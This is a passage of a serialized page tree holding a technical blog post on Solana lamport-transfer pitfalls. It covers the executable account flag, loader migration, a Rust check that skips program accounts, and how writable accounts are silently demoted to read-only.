71559],{"type":23,"tag":139,"props":71556,"children":71557},{"style":982},[71558],{"type":28,"value":66161},{"type":23,"tag":139,"props":71560,"children":71561},{"style":259},[71562],{"type":28,"value":71563},"transaction_context\n",{"type":23,"tag":139,"props":71565,"children":71566},{"class":141,"line":21518},[71567,71571],{"type":23,"tag":139,"props":71568,"children":71569},{"style":982},[71570],{"type":28,"value":66161},{"type":23,"tag":139,"props":71572,"children":71573},{"style":259},[71574],{"type":28,"value":71575},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":139,"props":71577,"children":71578},{"class":141,"line":21553},[71579,71583,71587,71591,71595,71599,71603],{"type":23,"tag":139,"props":71580,"children":71581},{"style":982},[71582],{"type":28,"value":40693},{"type":23,"tag":139,"props":71584,"children":71585},{"style":279},[71586],{"type":28,"value":11808},{"type":23,"tag":139,"props":71588,"children":71589},{"style":982},[71590],{"type":28,"value":73},{"type":23,"tag":139,"props":71592,"children":71593},{"style":259},[71594],{"type":28,"value":10964},{"type":23,"tag":139,"props":71596,"children":71597},{"style":982},[71598],{"type":28,"value":73},{"type":23,"tag":139,"props":71600,"children":71601},{"style":245},[71602],{"type":28,"value":13666},{"type":23,"tag":139,"props":71604,"children":71605},{"style":259},[71606],{"type":28,"value":5739},{"type":23,"tag":139,"props":71608,"children":71609},{"class":141,"line":21561},[71610],{"type":23,"tag":139,"props":71611,"children":71612},{"style":259},[71613],{"type":28,"value":1897},{"type":23,"tag":24,"props":71615,"children":71616},{},[71617],{"type":28,"value":71618},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":71620,"children":71621},{},[71622,71624,71629],{"type":28,"value":71623},"Specifically, ",{"type":23,"tag":56,"props":71625,"children":71626},{},[71627],{"type":28,"value":71628},"executable accounts",{"type":28,"value":71630}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":16900,"props":71632,"children":71634},{"id":71633},"sidebar-whats-the-executable-flag-anyway",[71635],{"type":28,"value":71636},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":71638,"children":71639},{},[71640,71641,71646],{"type":28,"value":14625},{"type":23,"tag":135,"props":71642,"children":71644},{"className":71643},[],[71645],{"type":28,"value":13666},{"type":28,"value":71647}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":71649,"children":71650},{},[71651,71653,71658],{"type":28,"value":71652},"This behavior became problematic with the introduction of the ",{"type":23,"tag":56,"props":71654,"children":71655},{},[71656],{"type":28,"value":71657},"Upgradeable BPF Loader",{"type":28,"value":71659},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":128,"props":71661,"children":71663},{"className":948,"code":71662,"language":947,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[71664],{"type":23,"tag":135,"props":71665,"children":71666},{"__ignoreMap":7},[71667,71679,71687,71707,71715,71727,71735,71755,71763,71791,71799,71807],{"type":23,"tag":139,"props":71668,"children":71669},{"class":141,"line":142},[71670,71675],{"type":23,"tag":139,"props":71671,"children":71672},{"style":305},[71673],{"type":28,"value":71674},"Program",{"type":23,"tag":139,"props":71676,"children":71677},{"style":259},[71678],{"type":28,"value":1268},{"type":23,"tag":139,"props":71680,"children":71681},{"class":141,"line":151},[71682],{"type":23,"tag":139,"props":71683,"children":71684},{"style":958},[71685],{"type":28,"value":71686},"    /// Address of the ProgramData account.\n",{"type":23,"tag":139,"props":71688,"children":71689},{"class":141,"line":160},[71690,71695,71699,71703],{"type":23,"tag":139,"props":71691,"children":71692},{"style":294},[71693],{"type":28,"value":71694},"    programdata_address",{"type":23,"tag":139,"props":71696,"children":71697},{"style":982},[71698],{"type":28,"value":2493},{"type":23,"tag":139,"props":71700,"children":71701},{"style":305},[71702],{"type":28,"value":18865},{"type":23,"tag":139,"props":71704,"children":71705},{"style":259},[71706],{"type":28,"value":1488},{"type":23,"tag":139,"props":71708,"children":71709},{"class":141,"line":169},[71710],{"type":23,"tag":139,"props":71711,"children":71712},{"style":259},[71713],{"type":28,"value":71714},"},\n",{"type":23,"tag":139,"props":71716,"children":71717},{"class":141,"line":178},[71718,71723],{"type":23,"tag":139,"props":71719,"children":71720},{"style":305},[71721],{"type":28,"value":71722},"ProgramData",{"type":23,"tag":139,"props":71724,"children":71725},{"style":259},[71726],{"type":28,"value":1268},{"type":23,"tag":139,"props":71728,"children":71729},{"class":141,"line":187},[71730],{"type":23,"tag":139,"props":71731,"children":71732},{"style":958},[71733],{"type":28,"value":71734},"    /// Slot that the program was last modified.\n",{"type":23,"tag":139,"props":71736,"children":71737},{"class":141,"line":196},[71738,71743,71747,71751],{"type":23,"tag":139,"props":71739,"children":71740},{"style":294},[71741],{"type":28,"value":71742},"    slot",{"type":23,"tag":139,"props":71744,"children":71745},{"style":982},[71746],{"type":28,"value":2493},{"type":23,"tag":139,"props":71748,"children":71749},{"style":305},[71750],{"type":28,"value":3862},{"type":23,"tag":139,"props":71752,"children":71753},{"style":259},[71754],{"type":28,"value":1488},{"type":23,"tag":139,"props":71756,"children":71757},{"class":141,"line":205},[71758],{"type":23,"tag":139,"props":71759,"children":71760},{"style":958},[71761],{"type":28,"value":71762},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":139,"props":71764,"children":71765},{"class":141,"line":214},[71766,71771,71775,71779,71783,71787],{"type":23,"tag":139,"props":71767,"children":71768},{"style":294},[71769],{"type":28,"value":71770},"    upgrade_authority_address",{"type":23,"tag":139,"props":71772,"children":71773},{"style":982},[71774],{"type":28,"value":2493},{"type":23,"tag":139,"props":71776,"children":71777},{"style":305},[71778],{"type":28,"value":25667},{"type":23,"tag":139,"props":71780,"children":71781},{"style":259},[71782],{"type":28,"value":3808},{"type":23,"tag":139,"props":71784,"children":71785},{"style":305},[71786],{"type":28,"value":19406},{"type":23,"tag":139,"props":71788,"children":71789},{"style":259},[71790],{"type":28,"value":4141},{"type":23,"tag":139,"props":71792,"children":71793},{"class":141,"line":1320},[71794],{"type":23,"tag":139,"props":71795,"children":71796},{"style":958},[71797],{"type":28,"value":71798},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":139,"props":71800,"children":71801},{"class":141,"line":1329},[71802],{"type":23,"tag":139,"props":71803,"children":71804},{"style":958},[71805],{"type":28,"value":71806},"    // account's data.\n",{"type":23,"tag":139,"props":71808,"children":71809},{"class":141,"line":1580},[71810],{"type":23,"tag":139,"props":71811,"children":71812},{"style":259},[71813],{"type":28,"value":71714},{"type":23,"tag":24,"props":71815,"children":71816},{},[71817,71819,71826],{"type":28,"value":71818},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":64,"props":71820,"children":71823},{"href":71821,"rel":71822},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[68],[71824],{"type":28,"value":71825},"SIMD-0162",{"type":28,"value":71827},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":71829,"children":71830},{},[71831,71833,71838,71840,71845],{"type":28,"value":71832},"This change is also a ",{"type":23,"tag":56,"props":71834,"children":71835},{},[71836],{"type":28,"value":71837},"hard requirement for supporting the new loader-v4",{"type":28,"value":71839},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":135,"props":71841,"children":71843},{"className":71842},[],[71844],{"type":28,"value":71722},{"type":28,"value":71846}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":71848,"children":71849},{},[71850,71852,71859,71861,71866],{"type":28,"value":71851},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":64,"props":71853,"children":71856},{"href":71854,"rel":71855},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[68],[71857],{"type":28,"value":71858},"migrate",{"type":28,"value":71860}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":135,"props":71862,"children":71864},{"className":71863},[],[71865],{"type":28,"value":71299},{"type":28,"value":71867}," restriction.",{"type":23,"tag":16900,"props":71869,"children":71871},{"id":71870},"fix-2-reject-program-accounts",[71872],{"type":28,"value":71873},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":71875,"children":71876},{},[71877],{"type":28,"value":71878},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":128,"props":71880,"children":71882},{"className":948,"code":71881,"language":947,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[71883],{"type":23,"tag":135,"props":71884,"children":71885},{"__ignoreMap":7},[71886,71962,72010,72026,72033,72072,72116,72140,72189,72217],{"type":23,"tag":139,"props":71887,"children":71888},{"class":141,"line":142},[71889,71893,71897,71902,71906,71910,71914,71918,71922,71926,71930,71934,71938,71942,71946,71950,71954,71958],{"type":23,"tag":139,"props":71890,"children":71891},{"style":279},[71892],{"type":28,"value":11701},{"type":23,"tag":139,"props":71894,"children":71895},{"style":279},[71896],{"type":28,"value":11706},{"type":23,"tag":139,"props":71898,"children":71899},{"style":245},[71900],{"type":28,"value":71901}," can_transfer_lamports",{"type":23,"tag":139,"props":71903,"children":71904},{"style":259},[71905],{"type":28,"value":262},{"type":23,"tag":139,"props":71907,"children":71908},{"style":294},[71909],{"type":28,"value":10964},{"type":23,"tag":139,"props":71911,"children":71912},{"style":982},[71913],{"type":28,"value":2493},{"type":23,"tag":139,"props":71915,"children":71916},{"style":982},[71917],{"type":28,"value":5144},{"type":23,"tag":139,"props":71919,"children":71920},{"style":305},[71921],{"type":28,"value":12950},{"type":23,"tag":139,"props":71923,"children":71924},{"style":259},[71925],{"type":28,"value":1052},{"type":23,"tag":139,"props":71927,"children":71928},{"style":294},[71929],{"type":28,"value":13522},{"type":23,"tag":139,"props":71931,"children":71932},{"style":982},[71933],{"type":28,"value":2493},{"type":23,"tag":139,"props":71935,"children":71936},{"style":305},[71937],{"type":28,"value":3862},{"type":23,"tag":139,"props":71939,"children":71940},{"style":259},[71941],{"type":28,"value":1062},{"type":23,"tag":139,"props":71943,"children":71944},{"style":982},[71945],{"type":28,"value":11768},{"type":23,"tag":139,"props":71947,"children":71948},{"style":305},[71949],{"type":28,"value":11773},{"type":23,"tag":139,"props":71951,"children":71952},{"style":259},[71953],{"type":28,"value":3808},{"type":23,"tag":139,"props":71955,"children":71956},{"style":305},[71957],{"type":28,"value":308},{"type":23,"tag":139,"props":71959,"children":71960},{"style":259},[71961],{"type":28,"value":5284},{"type":23,"tag":139,"props":71963,"children":71964},{"class":141,"line":151},[71965,71969,71974,71978,71982,71986,71990,71994,71998,72002,72006],{"type":23,"tag":139,"props":71966,"children":71967},{"style":279},[71968],{"type":28,"value":18274},{"type":23,"tag":139,"props":71970,"children":71971},{"style":245},[71972],{"type":28,"value":71973}," is_program",{"type":23,"tag":139,"props":71975,"children":71976},{"style":259},[71977],{"type":28,"value":262},{"type":23,"tag":139,"props":71979,"children":71980},{"style":294},[71981],{"type":28,"value":10964},{"type":23,"tag":139,"props":71983,"children":71984},{"style":982},[71985],{"type":28,"value":2493},{"type":23,"tag":139,"props":71987,"children":71988},{"style":982},[71989],{"type":28,"value":5144},{"type":23,"tag":139,"props":71991,"children":71992},{"style":305},[71993],{"type":28,"value":12950},{"type":23,"tag":139,"props":71995,"children":71996},{"style":259},[71997],{"type":28,"value":1062},{"type":23,"tag":139,"props":71999,"children":72000},{"style":982},[72001],{"type":28,"value":11768},{"type":23,"tag":139,"props":72003,"children":72004},{"style":305},[72005],{"type":28,"value":10061},{"type":23,"tag":139,"props":72007,"children":72008},{"style":259},[72009],{"type":28,"value":1268},{"type":23,"tag":139,"props":72011,"children":72012},{"class":141,"line":160},[72013,72017,72021],{"type":23,"tag":139,"props":72014,"children":72015},{"style":294},[72016],{"type":28,"value":23192},{"type":23,"tag":139,"props":72018,"children":72019},{"style":982},[72020],{"type":28,"value":73},{"type":23,"tag":139,"props":72022,"children":72023},{"style":259},[72024],{"type":28,"value":72025},"executable\n",{"type":23,"tag":139,"props":72027,"children":72028},{"class":141,"line":169},[72029],{"type":23,"tag":139,"props":72030,"children":72031},{"style":259},[72032],{"type":28,"value":1897},{"type":23,"tag":139,"props":72034,"children":72035},{"class":141,"line":178},[72036,72040,72044,72048,72052,72056,72060,72064,72068],{"type":23,"tag":139,"props":72037,"children":72038},{"style":279},[72039],{"type":28,"value":9798},{"type":23,"tag":139,"props":72041,"children":72042},{"style":294},[72043],{"type":28,"value":70793},{"type":23,"tag":139,"props":72045,"children":72046},{"style":982},[72047],{"type":28,"value":985},{"type":23,"tag":139,"props":72049,"children":72050},{"style":305},[72051],{"type":28,"value":41364},{"type":23,"tag":139,"props":72053,"children":72054},{"style":982},[72055],{"type":28,"value":1461},{"type":23,"tag":139,"props":72057,"children":72058},{"style":245},[72059],{"type":28,"value":14363},{"type":23,"tag":139,"props":72061,"children":72062},{"style":259},[72063],{"type":28,"value":11890},{"type":23,"tag":139,"props":72065,"children":72066},{"style":982},[72067],{"type":28,"value":1132},{"type":23,"tag":139,"props":72069,"children":72070},{"style":259},[72071],{"type":28,"value":995},{"type":23,"tag":139,"props":72073,"children":72074},{"class":141,"line":187},[72075,72079,72084,72088,72092,72096,72100,72104,72108,72112],{"type":23,"tag":139,"props":72076,"children":72077},{"style":279},[72078],{"type":28,"value":9798},{"type":23,"tag":139,"props":72080,"children":72081},{"style":294},[72082],{"type":28,"value":72083}," balance_after",{"type":23,"tag":139,"props":72085,"children":72086},{"style":982},[72087],{"type":28,"value":985},{"type":23,"tag":139,"props":72089,"children":72090},{"style":294},[72091],{"type":28,"value":3485},{"type":23,"tag":139,"props":72093,"children":72094},{"style":982},[72095],{"type":28,"value":73},{"type":23,"tag":139,"props":72097,"children":72098},{"style":245},[72099],{"type":28,"value":13522},{"type":23,"tag":139,"props":72101,"children":72102},{"style":259},[72103],{"type":28,"value":12054},{"type":23,"tag":139,"props":72105,"children":72106},{"style":982},[72107],{"type":28,"value":2382},{"type":23,"tag":139,"props":72109,"children":72110},{"style":294},[72111],{"type":28,"value":71104},{"type":23,"tag":139,"props":72113,"children":72114},{"style":259},[72115],{"type":28,"value":995},{"type":23,"tag":139,"props":72117,"children":72118},{"class":141,"line":196},[72119,72123,72127,72131,72135],{"type":23,"tag":139,"props":72120,"children":72121},{"style":305},[72122],{"type":28,"value":18497},{"type":23,"tag":139,"props":72124,"children":72125},{"style":259},[72126],{"type":28,"value":262},{"type":23,"tag":139,"props":72128,"children":72129},{"style":294},[72130],{"type":28,"value":10964},{"type":23,"tag":139,"props":72132,"children":72133},{"style":982},[72134],{"type":28,"value":73},{"type":23,"tag":139,"props":72136,"children":72137},{"style":259},[72138],{"type":28,"value":72139},"is_writable\n",{"type":23,"tag":139,"props":72141,"children":72142},{"class":141,"line":205},[72143,72147,72151,72155,72160,72164,72169,72173,72177,72181,72185],{"type":23,"tag":139,"props":72144,"children":72145},{"style":982},[72146],{"type":28,"value":13632},{"type":23,"tag":139,"props":72148,"children":72149},{"style":294},[72150],{"type":28,"value":70793},{"type":23,"tag":139,"props":72152,"children":72153},{"style":982},[72154],{"type":28,"value":73},{"type":23,"tag":139,"props":72156,"children":72157},{"style":245},[72158],{"type":28,"value":72159},"is_exempt",{"type":23,"tag":139,"props":72161,"children":72162},{"style":259},[72163],{"type":28,"value":262},{"type":23,"tag":139,"props":72165,"children":72166},{"style":294},[72167],{"type":28,"value":72168},"balance_after",{"type":23,"tag":139,"props":72170,"children":72171},{"style":259},[72172],{"type":28,"value":1052},{"type":23,"tag":139,"props":72174,"children":72175},{"style":294},[72176],{"type":28,"value":10964},{"type":23,"tag":139,"props":72178,"children":72179},{"style":982},[72180],{"type":28,"value":73},{"type":23,"tag":139,"props":72182,"children":72183},{"style":245},[72184],{"type":28,"value":11817},{"type":23,"tag":139,"props":72186,"children":72187},{"style":259},[72188],{"type":28,"value":13671},{"type":23,"tag":139,"props":72190,"children":72191},{"class":141,"line":214},[72192,72196,72200,72205,72209,72213],{"type":23,"tag":139,"props":72193,"children":72194},{"style":982},[72195],{"type":28,"value":13632},{"type":23,"tag":139,"props":72197,"children":72198},{"style":982},[72199],{"type":28,"value":10875},{"type":23,"tag":139,"props":72201,"children":72202},{"style":245},[72203],{"type":28,"value":72204},"is_program",{"type":23,"tag":139,"props":72206,"children":72207},{"style":259},[72208],{"type":28,"value":262},{"type":23,"tag":139,"props":72210,"children":72211},{"style":294},[72212],{"type":28,"value":10964},{"type":23,"tag":139,"props":72214,"children":72215},{"style":259},[72216],{"type":28,"value":17719},{"type":23,"tag":139,"props":72218,"children":72219},{"class":141,"line":1320},[72220],{"type":23,"tag":139,"props":72221,"children":72222},{"style":259},[72223],{"type":28,"value":1897},{"type":23,"tag":24,"props":72225,"children":72226},{},[72227],{"type":28,"value":72228},"Now we’re safe...right?",{"type":23,"tag":666,"props":72230,"children":72232},{"id":72231},"bug-3-the-write-demotion-trap",[72233],{"type":28,"value":72234},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":24,"props":72236,"children":72237},{},[72238,72240,72245,72247,72252],{"type":28,"value":72239},"On Solana, accounts passed as ",{"type":23,"tag":56,"props":72241,"children":72242},{},[72243],{"type":28,"value":72244},"writable",{"type":28,"value":72246}," in a transaction can be ",{"type":23,"tag":56,"props":72248,"children":72249},{},[72250],{"type":28,"value":72251},"silently downgraded to read-only",{"type":28,"value":72253},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":72255,"children":72256},{},[72257,72259,72266],{"type":28,"value":72258},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":64,"props":72260,"children":72263},{"href":72261,"rel":72262},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[68],[72264],{"type":28,"value":72265},"MessageV0",{"type":28,"value":72267},", but legacy is simpler to follow):",{"type":23,"tag":128,"props":72269,"children":72271},{"className":948,"code":72270,"language":947,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[72272],{"type":23,"tag":135,"props":72273,"children":72274},{"__ignoreMap":7},[72275,72283,72307,72395,72416,72428,72444,72460,72508,72537,72591,72627,72635,72672,72684,72722,72734,72741,72748,72755,72762,72770,72830,72883],{"type":23,"tag":139,"props":72276,"children":72277},{"class":141,"line":142},[72278],{"type":23,"tag":139,"props":72279,"children":72280},{"style":958},[72281],{"type":28,"value":72282},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":139,"props":72284,"children":72285},{"class":141,"line":151},[72286,72290,72295,72299,72303],{"type":23,"tag":139,"props":72287,"children":72288},{"style":279},[72289],{"type":28,"value":26216},{"type":23,"tag":139,"props":72291,"children":72292},{"style":305},[72293],{"type":28,"value":72294}," LegacyMessage",{"type":23,"tag":139,"props":72296,"children":72297},{"style":259},[72298],{"type":28,"value":20931},{"type":23,"tag":139,"props":72300,"children":72301},{"style":305},[72302],{"type":28,"value":1057},{"type":23,"tag":139,"props":72304,"children":72305},{"style":259},[72306],{"type":28,"value":5284},{"type":23,"tag":139,"props":72308,"children":72309},{"class":141,"line":160},[72310,72314,72318,72322,72326,72330,72334,72339,72343,72348,72352,72357,72361,72365,72370,72374,72378,72382,72386,72391],{"type":23,"tag":139,"props":72311,"children":72312},{"style":279},[72313],{"type":28,"value":18851},{"type":23,"tag":139,"props":72315,"children":72316},{"style":279},[72317],{"type":28,"value":11706},{"type":23,"tag":139,"props":72319,"children":72320},{"style":245},[72321],{"type":28,"value":29820},{"type":23,"tag":139,"props":72323,"children":72324},{"style":259},[72325],{"type":28,"value":262},{"type":23,"tag":139,"props":72327,"children":72328},{"style":294},[72329],{"type":28,"value":65938},{"type":23,"tag":139,"props":72331,"children":72332},{"style":982},[72333],{"type":28,"value":2493},{"type":23,"tag":139,"props":72335,"children":72336},{"style":259},[72337],{"type":28,"value":72338}," legacy",{"type":23,"tag":139,"props":72340,"children":72341},{"style":982},[72342],{"type":28,"value":1461},{"type":23,"tag":139,"props":72344,"children":72345},{"style":305},[72346],{"type":28,"value":72347},"Message",{"type":23,"tag":139,"props":72349,"children":72350},{"style":259},[72351],{"type":28,"value":1052},{"type":23,"tag":139,"props":72353,"children":72354},{"style":294},[72355],{"type":28,"value":72356},"reserved_account_keys",{"type":23,"tag":139,"props":72358,"children":72359},{"style":982},[72360],{"type":28,"value":2493},{"type":23,"tag":139,"props":72362,"children":72363},{"style":982},[72364],{"type":28,"value":5144},{"type":23,"tag":139,"props":72366,"children":72367},{"style":305},[72368],{"type":28,"value":72369},"HashSet",{"type":23,"tag":139,"props":72371,"children":72372},{"style":259},[72373],{"type":28,"value":3808},{"type":23,"tag":139,"props":72375,"children":72376},{"style":305},[72377],{"type":28,"value":19406},{"type":23,"tag":139,"props":72379,"children":72380},{"style":259},[72381],{"type":28,"value":18454},{"type":23,"tag":139,"props":72383,"children":72384},{"style":982},[72385],{"type":28,"value":11768},{"type":23,"tag":139,"props":72387,"children":72388},{"style":279},[72389],{"type":28,"value":72390}," Self",{"type":23,"tag":139,"props":72392,"children":72393},{"style":259},[72394],{"type":28,"value":1268},{"type":23,"tag":139,"props":72396,"children":72397},{"class":141,"line":169},[72398,72402,72407,72411],{"type":23,"tag":139,"props":72399,"children":72400},{"style":279},[72401],{"type":28,"value":1037},{"type":23,"tag":139,"props":72403,"children":72404},{"style":294},[72405],{"type":28,"value":72406}," is_writable_account_cache",{"type":23,"tag":139,"props":72408,"children":72409},{"style":982},[72410],{"type":28,"value":985},{"type":23,"tag":139,"props":72412,"children":72413},{"style":294},[72414],{"type":28,"value":72415}," message\n",{"type":23,"tag":139,"props":72417,"children":72418},{"class":141,"line":178},[72419,72423],{"type":23,"tag":139,"props":72420,"children":72421},{"style":982},[72422],{"type":28,"value":1144},{"type":23,"tag":139,"props":72424,"children":72425},{"style":259},[72426],{"type":28,"value":72427},"account_keys\n",{"type":23,"tag":139,"props":72429,"children":72430},{"class":141,"line":187},[72431,72435,72440],{"type":23,"tag":139,"props":72432,"children":72433},{"style":982},[72434],{"type":28,"value":1144},{"type":23,"tag":139,"props":72436,"children":72437},{"style":245},[72438],{"type":28,"value":72439},"iter",{"type":23,"tag":139,"props":72441,"children":72442},{"style":259},[72443],{"type":28,"value":5739},{"type":23,"tag":139,"props":72445,"children":72446},{"class":141,"line":196},[72447,72451,72456],{"type":23,"tag":139,"props":72448,"children":72449},{"style":982},[72450],{"type":28,"value":1144},{"type":23,"tag":139,"props":72452,"children":72453},{"style":245},[72454],{"type":28,"value":72455},"enumerate",{"type":23,"tag":139,"props":72457,"children":72458},{"style":259},[72459],{"type":28,"value":5739},{"type":23,"tag":139,"props":72461,"children":72462},{"class":141,"line":205},[72463,72467,72471,72475,72479,72483,72487,72491,72496,72500,72504],{"type":23,"tag":139,"props":72464,"children":72465},{"style":982},[72466],{"type":28,"value":1144},{"type":23,"tag":139,"props":72468,"children":72469},{"style":245},[72470],{"type":28,"value":65003},{"type":23,"tag":139,"props":72472,"children":72473},{"style":259},[72474],{"type":28,"value":262},{"type":23,"tag":139,"props":72476,"children":72477},{"style":982},[72478],{"type":28,"value":8425},{"type":23,"tag":139,"props":72480,"children":72481},{"style":259},[72482],{"type":28,"value":262},{"type":23,"tag":139,"props":72484,"children":72485},{"style":294},[72486],{"type":28,"value":1728},{"type":23,"tag":139,"props":72488,"children":72489},{"style":259},[72490],{"type":28,"value":1052},{"type":23,"tag":139,"props":72492,"children":72493},{"style":294},[72494],{"type":28,"value":72495},"_key",{"type":23,"tag":139,"props":72497,"children":72498},{"style":259},[72499],{"type":28,"value":1104},{"type":23,"tag":139,"props":72501,"children":72502},{"style":982},[72503],{"type":28,"value":8425},{"type":23,"tag":139,"props":72505,"children":72506},{"style":259},[72507],{"type":28,"value":1268},{"type":23,"tag":139,"props":72509,"children":72510},{"class":141,"line":214},[72511,72516,72520,72525,72529,72533],{"type":23,"tag":139,"props":72512,"children":72513},{"style":294},[72514],{"type":28,"value":72515},"                message",{"type":23,"tag":139,"props":72517,"children":72518},{"style":982},[72519],{"type":28,"value":73},{"type":23,"tag":139,"props":72521,"children":72522},{"style":245},[72523],{"type":28,"value":72524},"is_writable_index",{"type":23,"tag":139,"props":72526,"children":72527},{"style":259},[72528],{"type":28,"value":262},{"type":23,"tag":139,"props":72530,"children":72531},{"style":294},[72532],{"type":28,"value":1728},{"type":23,"tag":139,"props":72534,"children":72535},{"style":259},[72536],{"type":28,"value":273},{"type":23,"tag":139,"props":72538,"children":72539},{"class":141,"line":1320},[72540,72545,72549,72553,72557,72562,72566,72570,72574,72578,72583,72587],{"type":23,"tag":139,"props":72541,"children":72542},{"style":982},[72543],{"type":28,"value":72544},"                    &&",{"type":23,"tag":139,"props":72546,"children":72547},{"style":982},[72548],{"type":28,"value":10875},{"type":23,"tag":139,"props":72550,"children":72551},{"style":294},[72552],{"type":28,"value":72356},{"type":23,"tag":139,"props":72554,"children":72555},{"style":982},[72556],{"type":28,"value":73},{"type":23,"tag":139,"props":72558,"children":72559},{"style":245},[72560],{"type":28,"value":72561},"contains",{"type":23,"tag":139,"props":72563,"children":72564},{"style":259},[72565],{"type":28,"value":262},{"type":23,"tag":139,"props":72567,"children":72568},{"style":982},[72569],{"type":28,"value":1085},{"type":23,"tag":139,"props":72571,"children":72572},{"style":294},[72573],{"type":28,"value":65938},{"type":23,"tag":139,"props":72575,"children":72576},{"style":982},[72577],{"type":28,"value":73},{"type":23,"tag":139,"props":72579,"children":72580},{"style":259},[72581],{"type":28,"value":72582},"account_keys[",{"type":23,"tag":139,"props":72584,"children":72585},{"style":294},[72586],{"type":28,"value":1728},{"type":23,"tag":139,"props":72588,"children":72589},{"style":259},[72590],{"type":28,"value":53339},{"type":23,"tag":139,"props":72592,"children":72593},{"class":141,"line":1329},[72594,72598,72602,72606,72610,72615,72619,72623],{"type":23,"tag":139,"props":72595,"children":72596},{"style":982},[72597],{"type":28,"value":72544},{"type":23,"tag":139,"props":72599,"children":72600},{"style":982},[72601],{"type":28,"value":10875},{"type":23,"tag":139,"props":72603,"children":72604},{"style":294},[72605],{"type":28,"value":65938},{"type":23,"tag":139,"props":72607,"children":72608},{"style":982},[72609],{"type":28,"value":73},{"type":23,"tag":139,"props":72611,"children":72612},{"style":245},[72613],{"type":28,"value":72614},"demote_program_id",{"type":23,"tag":139,"props":72616,"children":72617},{"style":259},[72618],{"type":28,"value":262},{"type":23,"tag":139,"props":72620,"children":72621},{"style":294},[72622],{"type":28,"value":1728},{"type":23,"tag":139,"props":72624,"children":72625},{"style":259},[72626],{"type":28,"value":273},{"type":23,"tag":139,"props":72628,"children":72629},{"class":141,"line":1580},[72630],{"type":23,"tag":139,"props":72631,"children":72632},{"style":259},[72633],{"type":28,"value":72634},"            })\n",{"type":23,"tag":139,"props":72636,"children":72637},{"class":141,"line":1597},[72638,72642,72647,72651,72655,72659,72663,72667],{"type":23,"tag":139,"props":72639,"children":72640},{"style":982},[72641],{"type":28,"value":1144},{"type":23,"tag":139,"props":72643,"children":72644},{"style":245},[72645],{"type":28,"value":72646},"collect",{"type":23,"tag":139,"props":72648,"children":72649},{"style":982},[72650],{"type":28,"value":1461},{"type":23,"tag":139,"props":72652,"children":72653},{"style":259},[72654],{"type":28,"value":3808},{"type":23,"tag":139,"props":72656,"children":72657},{"style":305},[72658],{"type":28,"value":15223},{"type":23,"tag":139,"props":72660,"children":72661},{"style":259},[72662],{"type":28,"value":3808},{"type":23,"tag":139,"props":72664,"children":72665},{"style":294},[72666],{"type":28,"value":1057},{"type":23,"tag":139,"props":72668,"children":72669},{"style":259},[72670],{"type":28,"value":72671},">>();\n",{"type":23,"tag":139,"props":72673,"children":72674},{"class":141,"line":1614},[72675,72680],{"type":23,"tag":139,"props":72676,"children":72677},{"style":279},[72678],{"type":28,"value":72679},"        Self",{"type":23,"tag":139,"props":72681,"children":72682},{"style":259},[72683],{"type":28,"value":1268},{"type":23,"tag":139,"props":72685,"children":72686},{"class":141,"line":1627},[72687,72692,72696,72701,72705,72710,72714,72718],{"type":23,"tag":139,"props":72688,"children":72689},{"style":294},[72690],{"type":28,"value":72691},"            